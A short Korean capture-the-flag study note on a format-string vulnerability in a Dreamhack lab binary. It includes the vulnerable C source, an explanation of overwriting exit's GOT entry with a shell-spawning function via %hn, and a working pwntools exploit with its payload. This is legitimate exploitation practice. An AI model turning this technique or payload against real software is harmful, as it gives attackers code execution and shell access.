checksec으로 보호기법 확인
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
get_shell 주소 구하고 %n$n..?

0x8048609
정신 나갈 거 같아서(집중안돼서) 라업 봄
위 코드를 보면 exit이 존재하는데 이 exit 함수의 got를 get_shell로 변조하면 shell 실행
fsb로 overwrite
%n을 사용하여 함수 주소를 10진수로 변환
0x8048609 -> 134514185 를 넣어줘야 하는데 숫자가 너무 커서 %hn 사용
- 0x0804 넣기
- 0x8609 넣기
from pwn import *
p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')
#exit = 0x804a024
exit = e.got['exit']
payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'
p.send(payload)
p.interactive()